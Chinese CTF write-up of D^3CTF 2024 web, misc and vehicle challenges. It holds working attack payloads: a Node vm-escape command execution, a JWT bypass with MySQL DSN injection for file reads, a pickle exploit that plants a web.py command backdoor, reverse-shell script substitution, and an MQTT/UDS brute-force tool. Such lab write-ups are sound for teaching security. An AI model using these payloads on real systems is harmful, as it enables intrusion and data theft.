D^3CTF 2024 By W&M
WEB
MoonBox
getRemoteAgentStartCommand
通过ps -ef和上面的分析不难发现,运行流量录制实际上是在远程服务器ssh执行了
bash -c 'curl -o sandboxDownLoad.tar http://127.0.0.1:8080/api/agent/downLoadSandBoxZipFile && curl -o moonboxDownLoad.tar http://127.0.0.1:8080/api/agent/downLoadMoonBoxZipFile && rm -fr ~/sandbox && rm -fr ~/.sandbox-module && tar -xzf sandboxDownLoad.tar -C ~/ >> /dev/null && tar -xzf moonboxDownLoad.tar -C ~/ >> /dev/null && dos2unix ~/sandbox/bin/sandbox.sh && dos2unix ~/.sandbox-module/bin/start-remote-agent.sh && rm -f moonboxDownLoad.tar sandboxDownLoad.tar && sh ~/.sandbox-module/bin/start-remote-agent.sh moon-box-web rc_id_df0dab78e4bbd2603a1b4e4e45cd0d08%26http%3A%2F%2F127.0.0.1%3A8080%26OFF%26OFF'
所以替换moonbox里面的start-remote-agent.sh脚本就可以在远程服务器上进行rce。
Dockerfile里给出了root用户默认密码 root:123456,通过docker机器名moonbox-server可以访问内网的docker-moonbox-server容器,刚好这台容器有sshd,有root默认密码,并且有flag。
新建 ".sandbox-module\bin\start-remote-agent.sh" 写#!/bin/sh 反弹shell代码
新建 "sandbox\bin\sandbox.sh" 写 #!/bin/sh (否则dos2unix报错)
给可执行权限
tar -zcf moonbox.tar .sandbox-module
tar -zcf sandbox.tar sandbox
两个文件一起上传,运行流量录制 hostIp=moonbox-server 22 root 123456即可。
暂时无法在飞书文档外展示此内容
暂时无法在飞书文档外展示此内容
stack_overflow
注意到传入的参数可以是数组
如果args
数组长度为1
则不受join
影响
据此可以闭合 js 代码,逃逸vm
沙箱并执行系统命令
{"stdin":["');var exec = this.constructor.constructor;var require = exec('return process.mainModule.constructor._load')();require('child_process').execSync(\"cat /flag\").toString(); //"]}
返回结果如下
{"stdout":["Starting Conversion...","Your input is:","');var exec = this.constructor.constructor;var require = exec('return process.mainModule.constructor._load')();require('child_process').execSync(\"cat /flag\").toString(); //","0","0","0","0","...","Ascii is:","d3ctf{43015f82fa648d2a60985b0b46f5739f0f40bc35}\n"],"result":["Ascii is:","d3ctf{43015f82fa648d2a60985b0b46f5739f0f40bc35}\n"],"status":["ok"]}
Doctor
版本3.1.7
https://github.com/cookieY/Yearning/releases
是最新版
默认账号/密码:admin/Yearning_admin
远程不是默认密码,鉴权用的是JWT,远程也设置了secret-key,不是默认的
https://github.com/cookieY/yee/blob/1c392ccd2d7dd7de0aa8964583ea1b2415179804/middleware/jwt.go#L82
如果是websocket请求,那么就直接return,不进行jwt读取。
- HeaderConnection:Connection
- HeaderUpgrade:Upgrade
加上这2个请求头后可以访问任意接口
但是不是所有接口都能正常调用,需要new(lib.Token).JwtParse(c)
的接口全都会报错,因为没有赋值c.Get("auth")
审计源码可以发现一处接口
在此处发起mysql连接,由于gorm的驱动(底层是 https://github.com/go-sql-driver/mysql )默认是不允许任意local infile的(并且这里不可控host,如果拿到admin,可以新建数据源,就可控了),因此我们需要注入DSN参数来让它开启任意文件读取并且设置host
go-sql-driver/mysql解析dsn是以最后一个/
和/左边的最后一个@
解析的。 https://github.com/go-sql-driver/mysql/blob/master/dsn.go#L357
GET with body
http://47.100.57.142:30527/api/v2/fetch/fields?source_id=foo
Content-Type application/json
connection upgrade
upgrade websocket
{
"data_base":"root:passwd@tcp(1.1.1.1:3306)/foo?allowAllFiles=true&",
"table":"test"
}
最终loadlocalfile就可以读取到flag文件。
d3pythonhttp
暂时无法在飞书文档外展示此内容
这道题的key其实压根没啥
此处我们可以通过修改kid让他获取不到key,导致key默认为空即可。
题目在对于Chunked模式存在解析差异,当我们将chunked改为部分大写的话,此时web.py和Flask会存在解析差异
此时Flask会识别为chunked模式,web.py则不会
Web.py中要求全部是小写,因此到了后端服务获取到的就是根据Content-length截取的数据了,因此让请求头为
Transfer-Encoding: CHunked
,然后Content-length关闭自动计算长度,我们手动截取payload(opcode的base64长度)
这样就可以让backend去加载opcode了
import pickle
import os
import builtins
code = '''
def Backdoor(handler):
import os
ctx = __import__('web').ctx
print(ctx.env)
command = ctx.env.get('HTTP_COMMAND',None)
if command:
command_output = os.popen(command).read()
return command_output
return handler()
app.add_processor(Backdoor)
'''.strip()
class Exploit:
def __reduce__(self):
cmd = (code,)
return (builtins.exec, (cmd,))
pickled_data = pickle.dumps(Exploit(), protocol=0)
import base64
print(base64.b64encode(pickled_data).decode())
加一个恶意的Processer也就是filter进去就行。
Misc
O!!!SPF!!!!!! Enhanced
通过traceroute获取路由表
$ traceroute6 2a13:b487:11aa::d3:c7f:2f -m 120
traceroute to 2a13:b487:11aa::d3:c7f:2f (2a13:b487:11aa::d3:c7f:2f), 120 hops max, 80 byte packets
1 * * *
2 240e:2e:8200:1a33::2 (240e:2e:8200:1a33::2) 38.994 ms 38.793 ms 38.499 ms
3 240e:2e:8000:fa07::2 (240e:2e:8000:fa07::2) 39.449 ms 240e:2e:8000:fa05::2 (240e:2e:8000:fa05::2) 39.192 ms 240e:2e:8000:fa04::2 (240e:2e:8000:fa04::2) 39.690 ms
4 240e::1:21:61:5002 (240e::1:21:61:5002) 52.325 ms * *
5 * * 240e:0:a::c9:5530 (240e:0:a::c9:5530) 48.723 ms
6 240e:2:a::c9:27b4 (240e:2:a::c9:27b4) 48.181 ms 44.765 ms 44.775 ms
7 * * 240e:0:a::cb:3ab1 (240e:0:a::cb:3ab1) 242.473 ms
8 * * *
9 * * *
10 e0-34.core1.las1.he.net (2001:470:0:4ba::2) 179.131 ms 185.710 ms 181.875 ms
11 frantech-solutions.e0-25.core1.las1.he.net (2001:470:1:964::2) 206.487 ms 205.935 ms 205.816 ms
12 2605:6400:20:1ac::d3:c7f (2605:6400:20:1ac::d3:c7f) 189.175 ms 191.818 ms 224.935 ms
13 2a13:b487:11aa::d3:c7f:1 (2a13:b487:11aa::d3:c7f:1) 189.480 ms 191.948 ms 192.549 ms
14 2a13:b487:11aa::d3:c7f:2 (2a13:b487:11aa::d3:c7f:2) 214.895 ms 207.052 ms 211.204 ms
15 2a13:b487:11aa::d3:c7f:3 (2a13:b487:11aa::d3:c7f:3) 170.005 ms 179.458 ms 180.177 ms
16 2a13:b487:11aa::d3:c7f:4 (2a13:b487:11aa::d3:c7f:4) 182.738 ms 180.491 ms 212.327 ms
17 2a13:b487:11aa::d3:c7f:5 (2a13:b487:11aa::d3:c7f:5) 201.746 ms 213.653 ms 214.365 ms
18 2a13:b487:11aa::d3:c7f:6 (2a13:b487:11aa::d3:c7f:6) 182.181 ms 170.301 ms 175.494 ms
19 2a13:b487:11aa::d3:c7f:7 (2a13:b487:11aa::d3:c7f:7) 202.041 ms 210.187 ms 210.574 ms
20 2a13:b487:11aa::d3:c7f:8 (2a13:b487:11aa::d3:c7f:8) 206.088 ms 185.192 ms 188.933 ms
21 2a13:b487:11aa::d3:c7f:9 (2a13:b487:11aa::d3:c7f:9) 193.236 ms 191.047 ms 174.317 ms
22 2a13:b487:11aa::d3:c7f:a (2a13:b487:11aa::d3:c7f:a) 176.086 ms 204.450 ms 188.827 ms
23 2a13:b487:11aa::d3:c7f:b (2a13:b487:11aa::d3:c7f:b) 173.265 ms 182.065 ms 181.870 ms
24 2a13:b487:11aa::d3:c7f:c (2a13:b487:11aa::d3:c7f:c) 205.779 ms 242.205 ms 226.406 ms
25 2a13:b487:11aa::d3:c7f:d (2a13:b487:11aa::d3:c7f:d) 188.298 ms 188.199 ms 191.863 ms
26 2a13:b487:11aa::d3:c7f:e (2a13:b487:11aa::d3:c7f:e) 189.877 ms 169.824 ms 180.773 ms
27 2a13:b487:11aa::d3:c7f:f (2a13:b487:11aa::d3:c7f:f) 194.115 ms 171.975 ms 169.966 ms
28 2a13:b487:11aa::d3:c7f:10 (2a13:b487:11aa::d3:c7f:10) 177.955 ms 185.258 ms 183.112 ms
29 2a13:b487:11aa::d3:c7f:11 (2a13:b487:11aa::d3:c7f:11) 173.154 ms 176.671 ms 175.872 ms
30 2a13:b487:11aa::d3:c7f:12 (2a13:b487:11aa::d3:c7f:12) 203.909 ms 219.166 ms 206.794 ms
31 2a13:b487:11aa::d3:c7f:13 (2a13:b487:11aa::d3:c7f:13) 194.094 ms 164.984 ms 197.654 ms
32 2a13:b487:11aa::d3:c7f:14 (2a13:b487:11aa::d3:c7f:14) 197.397 ms 187.787 ms 187.465 ms
33 2a13:b487:11aa::d3:c7f:15 (2a13:b487:11aa::d3:c7f:15) 187.879 ms 187.358 ms 190.108 ms
34 2a13:b487:11aa::d3:c7f:16 (2a13:b487:11aa::d3:c7f:16) 193.960 ms 203.633 ms 193.108 ms
35 2a13:b487:11aa::d3:c7f:17 (2a13:b487:11aa::d3:c7f:17) 179.844 ms 178.417 ms 179.055 ms
36 2a13:b487:11aa::d3:c7f:18 (2a13:b487:11aa::d3:c7f:18) 202.224 ms 201.810 ms 201.116 ms
37 2a13:b487:11aa::d3:c7f:19 (2a13:b487:11aa::d3:c7f:19) 194.834 ms 194.579 ms 167.926 ms
38 2a13:b487:11aa::d3:c7f:1a (2a13:b487:11aa::d3:c7f:1a) 186.549 ms 190.136 ms 189.931 ms
39 2a13:b487:11aa::d3:c7f:1b (2a13:b487:11aa::d3:c7f:1b) 170.428 ms 177.732 ms 169.405 ms
40 2a13:b487:11aa::d3:c7f:1c (2a13:b487:11aa::d3:c7f:1c) 173.053 ms 184.040 ms 181.430 ms
41 2a13:b487:11aa::d3:c7f:1d (2a13:b487:11aa::d3:c7f:1d) 195.218 ms 196.068 ms 207.502 ms
42 2a13:b487:11aa::d3:c7f:1e (2a13:b487:11aa::d3:c7f:1e) 210.987 ms 200.917 ms 204.374 ms
43 2a13:b487:11aa::d3:c7f:1f (2a13:b487:11aa::d3:c7f:1f) 181.858 ms 192.248 ms 214.994 ms
44 bd23ff4fb2b7f8e49200c3801151663d (2a13:b487:11aa::d3:c7f:20) 215.714 ms 215.430 ms 225.004 ms
45 0dcc848e1b075bd4dcb4fd32712559de (2a13:b487:11aa::d3:c7f:21) 225.925 ms 225.179 ms 223.555 ms
46 207bb8777d7fbedcc7e83c48c31b2bda (2a13:b487:11aa::d3:c7f:22) 227.214 ms 232.910 ms 228.555 ms
47 172602638c6a7c8fe61b4ff086c47690 (2a13:b487:11aa::d3:c7f:23) 211.496 ms 211.996 ms 211.022 ms
48 1c9ec648853b2bc316b58923505cbe6b (2a13:b487:11aa::d3:c7f:24) 210.100 ms 183.748 ms 182.589 ms
49 902c1f0809152f0a868c4cda66df19ad (2a13:b487:11aa::d3:c7f:25) 203.537 ms 206.591 ms 206.575 ms
50 d0b1da1c5e7fa0af81843735cefcf132 (2a13:b487:11aa::d3:c7f:26) 180.551 ms 181.844 ms 182.750 ms
51 4aea04f4b1076a844fbf5f69e2a7c420 (2a13:b487:11aa::d3:c7f:27) 186.703 ms 186.225 ms 184.717 ms
52 8d2dc7d91e3f6fe5ccd0fccd280aadc2 (2a13:b487:11aa::d3:c7f:28) 188.243 ms 190.001 ms 191.545 ms
53 5cd04243410e2e3372cf91a8395b4d1a (2a13:b487:11aa::d3:c7f:29) 186.298 ms 187.809 ms 201.296 ms
54 b70828d9f6a7a2aff81b0127af493d23 (2a13:b487:11aa::d3:c7f:2a) 193.706 ms 193.547 ms 192.933 ms
55 7305c7d7c018bbb1a557fee33b7372d5 (2a13:b487:11aa::d3:c7f:2b) 173.222 ms 171.981 ms 171.095 ms
56 aca7bfae5d337bdcc196e37dc363789d (2a13:b487:11aa::d3:c7f:2c) 172.570 ms 176.602 ms 175.831 ms
57 73c0791483a0b208f538892cf61fcf11 (2a13:b487:11aa::d3:c7f:2d) 191.585 ms 190.283 ms 194.728 ms
58 7d1ee65385eef03d533a94b03324bd01 (2a13:b487:11aa::d3:c7f:2e) 188.930 ms 179.592 ms 188.230 ms
59 aaf26d2a066ce6356487ead9551fda4c (2a13:b487:11aa::d3:c7f:2f) 187.688 ms 191.764 ms 187.898 ms
用下面的一大坨16进制修复Client.ovpn并且填上remote后连接
靶机在openvpn的100.64.11.2:18080
通过源码注意到 hash错了不会退出 所以直接发1个32字节的字符串,284个错误的hash,然后发个Y就行
from pwn import *
context.log_level = 'debug'
io = remote("100.64.11.2",18080)
io.send(b'a'*32)
for i in range(284):
io.send(b'a'*32)
_ = io.recvuntil(b'Wrong Hash')
io.sendline(b'Y')
io.interactive()
Baldur's Gate 3 Complete Spell List
从官方wiki获取所有法术的等级, 注意到有9没0,直接全数字减一然后9进制
import json
from bs4 import BeautifulSoup
import requests
import re
from requests.packages.urllib3.exceptions import InsecureRequestWarning
requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
data=[
{
"1": "Protection from Poison",
"2": "Protection from Energy: Thunder",
"3": "Soul Ascension"
},
{ "1": "Cloud of Daggers", "2": "Blight", "3": "Aegis of the Absolute" },
{
"1": "Mirror Image",
"2": "Mapped Terror: Ceremorphosis",
"3": "Aegis of the Absolute"
},
{ "1": "Detect Thoughts", "2": "Dimension Door", "3": "Dominate Person" },
{ "1": "Knock", "2": "Conjure Woodland Being", "3": "8" },
{ "1": "Finger of Death", "2": "Planar Binding" },
{ "1": "Planar Ally", "2": "Fanatic Retaliation" },
{ "1": "Tyrant's Bindings", "2": "Blinding Smite" },
{ "1": "Gust of Wind", "2": "Remove Curse", "3": "Aegis of the Absolute" },
{
"1": "Mirror Image",
"2": "Conjure Woodland Being",
"3": "Beckoning Darkness"
},
{ "1": "Arcane Lock", "2": "Spiritual Weapon: Maul", "3": "8" },
{ "1": "Misty Step", "2": "Kereska's Favour", "3": "Colour Spray" },
{ "1": "Eagle's Splendour", "2": "Darkvision (spell)", "3": "8" },
{
"1": "Scorching Ray",
"2": "Conjure Minor Elemental: Mud Mephits",
"3": "8"
},
{
"1": "Scorching Ray",
"2": "Conjure Minor Elemental: Ice Mephits",
"3": "Power Word Kill"
},
{ "1": "Aid", "2": "Igniting Spark", "3": "Frost of Dark Winter" },
{ "1": "Lunar Flare", "2": "Stoneskin", "3": "Power Word Kill" },
{
"1": "Owl's Wisdom",
"2": "Bestow Curse: Wisdom Disadvantage",
"3": "Sunbeam"
},
{
"1": "Arcane Lock",
"2": "Bestow Curse: Charisma Disadvantage",
"3": "Glyph of Warding: Detonation"
},
{ "1": "Ray of Enfeeblement", "2": "Fire Shield: Warm", "3": "Enthrall" },
{ "1": "Enthrall", "2": "Prayer of Healing", "3": "8" },
{
"1": "Pass Without Trace",
"2": "Flame Strike",
"3": "Conjure Minor Elemental: Ice Mephits"
},
{ "1": "Conjure Elemental: Fire Myrmidon", "2": "Phantasmal Force" },
{ "1": "Bear's Endurance", "2": "Counterspell", "3": "Hex (Intelligence)" },
{ "1": "Darkness", "2": "Mark of Putrefaction", "3": "Hordestrike" },
{ "1": "Silence", "2": "Banishment", "3": "Rays of Fire" },
{ "1": "Hellfire Orb", "2": "Vampiric Touch" },
{ "1": "8", "2": "Pierce the Weak" },
{ "1": "Prayer of Healing", "2": "Fox's Cunning", "3": "8" },
{ "1": "Aegis of the Absolute", "2": "Faithwarden's Vines" },
{ "1": "Cloud of Daggers", "2": "Hex (Intelligence)", "3": "Move Moonbeam" },
{ "1": "Silvered Bulwark", "2": "Withering Touch" },
{
"1": "Branding Smite (Ranged)",
"2": "Elemental Weapon: Lightning",
"3": "Sleep"
},
{ "1": "Power Word Kill", "2": "Healing Word" },
{ "1": "Aegis of the Absolute", "2": "Harm" },
{ "1": "Finger of Death", "2": "Divine Smite" },
{ "1": "Power Word Kill", "2": "Conjure Elemental" },
{
"1": "Melf's Acid Arrow",
"2": "Conjure Elemental: Fire Elemental",
"3": "Conjure Elemental: Earth Elemental"
},
{ "1": "Finger of Death", "2": "Fire Shield" },
{
"1": "Fox's Cunning",
"2": "Castigate Heartform",
"3": "Teleport to Submersible"
},
{ "1": "Power Word Kill", "2": "Banishing Smite (Melee)" },
{
"1": "Mirror Image",
"2": "Death Ward",
"3": "Bestow Curse: Attack Disadvantage"
},
{ "1": "8", "2": "Stoneskin" },
{ "1": "Reduce", "2": "Banishing Smite (Ranged)", "3": "Darkness" },
{ "1": "Moonbeam", "2": "Fear", "3": "Disguise Self: Femme Dwarf" },
{ "1": "Heal", "2": "Finger of Death" },
{
"1": "Heat Metal: Reapply Damage",
"2": "Hail of Thorns",
"3": "Fleeting Dream"
},
{ "1": "Knock", "2": "Dominate Beast", "3": "Perturbing Visage" },
{ "1": "Invisibility", "2": "Darkness", "3": "Aegis of the Absolute" },
{
"1": "Spiritual Weapon: Greatsword",
"2": "Tasha's Hideous Laughter",
"3": "Finger of Death"
},
{ "1": "Web", "2": "Bestow Curse: Dread", "3": "Chromatic Orb: Cold" },
{ "1": "Shatter", "2": "Perturbing Visage", "3": "Hex" },
{
"1": "Ray of Enfeeblement",
"2": "Bludgeon the Weak",
"3": "Power Word Kill"
},
{ "1": "Disintegrate", "2": "Otiluke's Freezing Sphere" },
{ "1": "Aegis of the Absolute", "2": "Eyebite: Sickened" },
{ "1": "Rays of Fire", "2": "Terrifying Visage", "3": "Darkness" },
{ "1": "Power Word Kill", "2": "8" },
{
"1": "Pass Without Trace",
"2": "Disguise Self: Masc Strong Human",
"3": "Circle of Death"
},
{ "1": "Branding Smite (Melee)", "2": "Fireball", "3": "Incinerate" },
{ "1": "Diabolic Chains", "2": "8" },
{ "1": "Power Word Kill", "2": "Arcane Gate" },
{ "1": "Aegis of the Absolute", "2": "Disguise Self: Femme Githyanki" },
{
"1": "Darkvision (spell)",
"2": "Gaseous Form",
"3": "Sethan: Spiritual Greataxe"
},
{
"1": "Branding Smite (Melee)",
"2": "Polymorph",
"3": "See Invisibility (Spell)"
},
{
"1": "Bull's Strength",
"2": "Bestow Curse: Wisdom Disadvantage",
"3": "Tyr's Protection"
},
{ "1": "Flesh to Stone", "2": "Conjure Elemental: Fire Myrmidon" },
{ "1": "Hold Person", "2": "Flame of Wrath", "3": "8" },
{ "1": "Owl's Wisdom", "2": "Dethrone", "3": "Barkskin" },
{ "1": "Phantasmal Force", "2": "Web", "3": "Reapply Hunter's Mark" },
{
"1": "Spiritual Weapon: Trident",
"2": "Bone-shaking Thunder",
"3": "Blindness"
},
{ "1": "Magic Weapon", "2": "Elemental Retort", "3": "Grasping Vine" },
{ "1": "Enlarge", "2": "Glyph of Warding: Detonation", "3": "Harm" },
{ "1": "Spiritual Weapon: Spear", "2": "Lunar Flare", "3": "Healing Word" },
{ "1": "Lunar Flare", "2": "Destructive Wave", "3": "Destructive Wave" },
{ "1": "Arcane Gate", "2": "Aegis of the Absolute" },
{
"1": "Silence",
"2": "Animate Dead: Flying Ghoul",
"3": "Fanatic Retaliation"
},
{
"1": "Move Moonbeam",
"2": "Protection from Poison",
"3": "Aegis of the Absolute"
},
{ "1": "Rays of Fire", "2": "Conjure Minor Elemental", "3": "Invisibility" },
{ "1": "Spiritual Weapon: Spear", "2": "Elemental Age", "3": "Shar's Aegis" },
{ "1": "Finger of Death", "2": "8" }
]
headers = {
"Cookie": "bg3wikimwuser-sessionId=88b572d55d3d20ce75fc",
"If-Modified-Since": "Thu, 25 Apr 2024 12:48:37 GMT",
"Connection": "close",
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36 Edg/124.0.0.0"
}
for dic in data:
tmp = ''
for spell in dic.values():
if spell != '8':
url = f"https://bg3.wiki/wiki/{spell}"
response = requests.get(url=url,headers=headers,verify=False).text
pattern = r'Level (\d)'
match = re.search(pattern, response)
level = match.group(1)
tmp+=str(int(level)-1)
else:
tmp+=str(int(spell)-1)
print(chr(int(tmp,9)),end='')
# https://koalastothemax.com/?aHR0cHM6Ly9pLnBvc3RpbWcuY2MvOVh4MHhmc2svZmxhZy5wbmc=
直接解码刮刮乐网址后面跟着的base64即可得到flag的二维码
IOV
D3_car 1
题目给两个靶机端口,
其中一个用nc访问会开启安卓模拟器,然后可以用adb connect连接另一个。(这两个端口的顺序是随机的)
可以多个人同时连接adb,但是不要多次启动安卓模拟器,靶机会爆炸
adb shell pm list packages -f
package:/system/priv-app/D3Factory/D3Factory.apk=com.d3car.factory
暂时无法在飞书文档外展示此内容
提取oat vdex odex进行转dex操作。
https://github.com/anestisb/vdexExtractor.git
暂时无法在飞书文档外展示此内容
逆出来password是1dacdfma34560rDa 但是根本不需要
有intent filter的activity 默认exported=true 除非强制设置exported=false
adb shell am start -n com.d3car.factory/.PwdAuthActivity
adb shell am start -n com.d3car.factory/.FactoryActivity
它的后门是开一个tcpdump
D3 car 2
ps -ef
root 1459 1 0 09:57 ? 00:00:00 mqttserv
有个mqtt客户端服务 /system/bin/mqttserv 没权限读
用backdoor里的pcap可以看到MQTT用户名,密码
暂时无法在飞书文档外展示此内容
转发访问远程mqtt服务端
先给他扔个socat上去 https://github.com/andrew-d/static-binaries/blob/master/binaries/linux/x86_64/socat
转发到127.0.0.1:1883
adb shell 'chmod 777 /data/local/tmp/socat'
adb shell 'nohup /data/local/tmp/socat tcp-listen:1883,fork tcp-connect:192.168.27.16:1883' &
adb forward tcp:1883 tcp:1883
Mqtt 用户名abmaM_kcalb 密码Ya5_1_n4C_tahW
能收到消息
分析pcap得知,
安卓端mqttserv每隔60秒向服务端发can/514/write(两个不同的包)
022701ffffffffff
0527022dcf28ffff
本地连接mqtt得知,
服务端每隔60秒下发can/514/read(两个相同的包 b'03,7f,27,7f,ff,ff,ff,ff')
搜索can相关车联网协议,使用bytes.fromhex('02 10 02 AA AA AA AA AA')重放得知,can服务器运行的是uds协议,'022701ffffffffff'和'0527022dcf28ffff'是鉴权请求,b'03,7f,27,7f,ff,ff,ff,ff'是服务器反馈当前session模式下不需要鉴权
https://blog.csdn.net/Breeze_CAT/article/details/106156567
uds的所有服务码
https://uds.readthedocs.io/en/stable/pages/knowledge_base/diagnostic_message.html#knowledge-base-sid
uds的 所有错误码 返回是XX 7f就是错误
https://automotive.wiki/index.php/ISO_14229
切换session到03再进行鉴权,
这样发可以得到鉴权成功反馈。
client.publish("can/514/write", bytes.fromhex('02 10 03 AA AA AA AA AA'))
client.publish("can/514/write", bytes.fromhex('022701ffffffffff'))
client.publish("can/514/write", bytes.fromhex('0527022dcf28ffff'))
测试下来服务器实现了的功能,没实现的要么没反应要么直接崩溃,崩溃的结果是再次发送上面三条指令得不到鉴权成功反馈。靶机比较坑,如果崩溃了可能需要重开靶机。
0x10Diagnostic Session Control 1
0x22Read Data By Identifier 1
0x27Security Access 1
0x31Routine Control 1
0x3ETester Present 1
爆破服务器得到的结果,如果爆破导致服务器崩溃了就需要重开靶机
爆破ReadDataByIdentifier 范围0000-ffff
读取f189得到
发送:client.publish("can/514/write", bytes.fromhex('03 22 f1 89 00 00 00 00'))
recv: 10,12,62,f1,89,31,31,2e
recv: 21,34,30,35,2e,31,30,2e
recv: 22,34,2e,32,33,33,ff,ff
处理后的结果 F189->11.405.10.4.233
爆破Routine Control 范围0000-ffff
启动并且读取结果0886例程得到
发送:client.publish("can/514/write", bytes.fromhex('06 31 01 08 86 01 01 01'))
client.publish("can/514/write", bytes.fromhex('04 31 03 08 86 01 01 01'))
收到消息: 04,71,08,86,01,ff,ff,ff from topic: can/514/read
10,19,71,08,86,66,6c,61
21,67,7b,66,6c,61,67,5f
22,69,73,5f,6e,6f,74,5f
23,68,65,72,65,7d,ff,ff
处理后的结果
0886 flag{flag_is_not_here}
爆破can/XX/read 范围1-10000得到
发送:"can/%d/write",fromHex("021003AAAAAAAAAA")
Received message: 06,50,03,00,32,01,f4,ff from topic: can/514/read
Received message: 06,50,03,00,32,01,f4,ff from topic: can/710/read
Received message: 06,50,03,00,32,01,f4,ff from topic: can/711/read
Received message: 06,50,03,00,32,01,f4,ff from topic: can/715/read
Received message: 06,50,03,00,32,01,f4,ff from topic: can/716/read
Received message: 06,50,03,00,32,01,f4,ff from topic: can/721/read
can/514/read的鉴权种子固定是b'\x11\x45\x14',其它的鉴权种子不固定。
爆破的代码,用CGO_ENABLED=0 go build main.go && adb push main /data/local/tmp/
放到远程安卓靶机去运行,不要端口转发运行,会跑到猴年马月
这里仅给出爆破ReadDataByIdentifier 范围0000-ffff的代码,由于篇幅原因,爆破Routine Control和爆破can/ID/write的代码省略,本质都一样。
package main
import (
"encoding/hex"
"fmt"
"math/rand"
"os"
"strconv"
"strings"
mqtt "github.com/eclipse/paho.mqtt.golang"
)
var modeSwitchSuccessResponse = "06,50,03,00,32,01,f4,ff"
var authSuccessResponse = "02,67,02,ff,ff,ff,ff,ff"
var invalidAuthResponse = "03,7f,27,7f,ff,ff,ff,ff"
var invalidReadResponse = "03,7f,22,31,ff,ff,ff,ff"
var messagePubHandler mqtt.MessageHandler = func(client mqtt.Client, msg mqtt.Message) {
strMessage := string(msg.Payload())
if isWaitingAuth && strings.EqualFold(strMessage, authSuccessResponse) {
isWaitingAuth = false
waitingPipe <- true
return
}
if strings.EqualFold(strMessage, modeSwitchSuccessResponse) {
return
}
if strings.EqualFold(strMessage, invalidAuthResponse) {
return
}
// from android bot, ignore
if strings.HasPrefix(strMessage, "05,67,01,") {
return
}
if strings.HasPrefix(strMessage, "02,67,02,") {
return
}
// we received a not useful message
if strings.EqualFold(strMessage, invalidReadResponse) {
waitingPipe <- true
return
}
// we received a useful message
fmt.Printf("\nReceived message: %s from topic: %s\n\n", msg.Payload(), msg.Topic())
// write it into file
f, err := os.OpenFile("output.txt", os.O_APPEND|os.O_CREATE|os.O_WRONLY, 0644)
if err == nil {
defer f.Close()
fmt.Fprintf(f, "Received message: %s from topic: %s\n", msg.Payload(), msg.Topic())
}
waitingPipe <- true
}
var connectHandler mqtt.OnConnectHandler = func(client mqtt.Client) {
fmt.Println("Connected")
}
var isWaitingAuth bool = false
func bruteOneByte(client mqtt.Client, data int) error {
hexString := fmt.Sprintf("0322%04xaaaaaaaa", data)
// fmt.Println(hexString)
bytes := fromHex(hexString)
token := client.Publish("can/514/write", 0, false, bytes)
if token.Wait() && token.Error() != nil {
return token.Error()
}
return nil
}
var connectLostHandler mqtt.ConnectionLostHandler = func(client mqtt.Client, err error) {
fmt.Printf("Connect lost: %v", err)
os.Exit(1)
}
func fromHex(s string) []byte {
result, err := hex.DecodeString(s)
if err != nil {
panic(err)
}
return result
}
var auth1 = fromHex("021003AAAAAAAAAA")
var auth2 = fromHex("0527022dcf28ffff")
func auth(client mqtt.Client) error {
isWaitingAuth = true
token := client.Publish("can/514/write", 0, false, auth1)
if token.Wait() && token.Error() != nil {
return token.Error()
}
token = client.Publish("can/514/write", 0, false, auth2)
if token.Wait() && token.Error() != nil {
return token.Error()
}
return nil
}
var waitingPipe = make(chan bool)
func main() {
var broker string
var port int
if _, err := os.Stat("./main.go"); err == nil {
broker = "172.19.176.1"
port = 1884
} else {
broker = "192.168.27.16"
port = 1883
}
opts := mqtt.NewClientOptions()
opts.AddBroker(fmt.Sprintf("tcp://%s:%d", broker, port))
rand := rand.Intn(1000)
randstr := strconv.Itoa(rand)
opts.SetClientID("go_mqtt_client_" + randstr)
opts.SetUsername("abmaM_kcalb")
opts.SetPassword("Ya5_1_n4C_tahW")
opts.SetDefaultPublishHandler(messagePubHandler)
opts.OnConnect = connectHandler
opts.OnConnectionLost = connectLostHandler
client := mqtt.NewClient(opts)
if token := client.Connect(); token.Wait() && token.Error() != nil {
panic(token.Error())
}
if token := client.Subscribe("#", 0, nil); token.Wait() && token.Error() != nil {
panic(token.Error())
}
err := auth(client)
if err != nil {
panic(err)
}
<-waitingPipe
fmt.Println("First Auth success")
for i := 0; i <= 0xffff; i++ {
err := bruteOneByte(client, i)
if err != nil {
panic(err)
}
<-waitingPipe
if i%100 == 0 {
auth(client)
<-waitingPipe
}
if i%(0x1000/2) == 0 {
fmt.Printf("Progress: %04x\n", i)
}
}
fmt.Println("done")
select {}
}
上传fscan和nmap扫描端口可以得到,内网有个http服务,给了一大堆dll
socat端口转发到本地并且使用wget -r http://127.0.0.1:8000
可以下载所有的dll。
逆向得知,每一个dll里都有一个rc4加密函数,大部分的dll除了rc4加密密钥以外完全一样,可以直接写脚本提取0x17800固定位置的加密密钥。
import glob
dlls = glob.glob('dlls/*/*/*.dll')
import os
data = {}
for dll in dlls:
try:
dllname = dll.split(os.path.sep)[-2]
# print(dllname)
with open(dll,"rb") as f:
# sanity check
f.seek(0x17800-1)
assert f.read(1) == b'\x00',dllname
key = f.read(8)
assert f.read(1) == b'\x00',dllname
data[dllname] = key.hex()
except:
print(dllname,"is not uniformed!")
continue
import json
with open("./rc4_keys.json","w") as f:
json.dump(data,f)
提取下来会发现有且仅有11.405.10.4.233的dll长得不一样,密钥不在0x17800固定的偏移,并且只有它的密钥是ascii。
结合之前的F189->11.405.10.4.233 所以使用11.405.10.4.233的密钥作为鉴权密钥。
11.405.10.4.233/seed2key.dll的密钥是zxcbafsa
挨个使用密钥进行鉴权得到flag。除了721以外的都是假flag flag{flag_is_not_here}
import paho.mqtt.client as mqtt
import time
import json
can_id=721
write_cmd="can/%d/write"%can_id
def RC4(key, data):
S = list(range(256)) # 初始化状态向量S
j = 0
out = bytearray()
# 密钥调度算法(KSA)
for i in range(256):
j = (j + S[i] + key[i % len(key)]) % 256
S[i], S[j] = S[j], S[i] # swap
# 伪随机字节生成算法(PRGA)
i = j = 0
for byte in data:
i = (i + 1) % 256
j = (j + S[i]) % 256
S[i], S[j] = S[j], S[i] # swap
out.append(S[(S[i] + S[j]) % 256] ^ byte) # XOR and output
return out
def on_connect(client, userdata, flags, reason_code, properties):
print(f"Connected with result code {reason_code}")
client.subscribe("#")
def on_message(client, userdata, msg):
print(msg.topic+" "+str(msg.payload) + " " + str(time.time()))
if not msg.topic.startswith("can/%d/"%can_id):
return
# success switch session
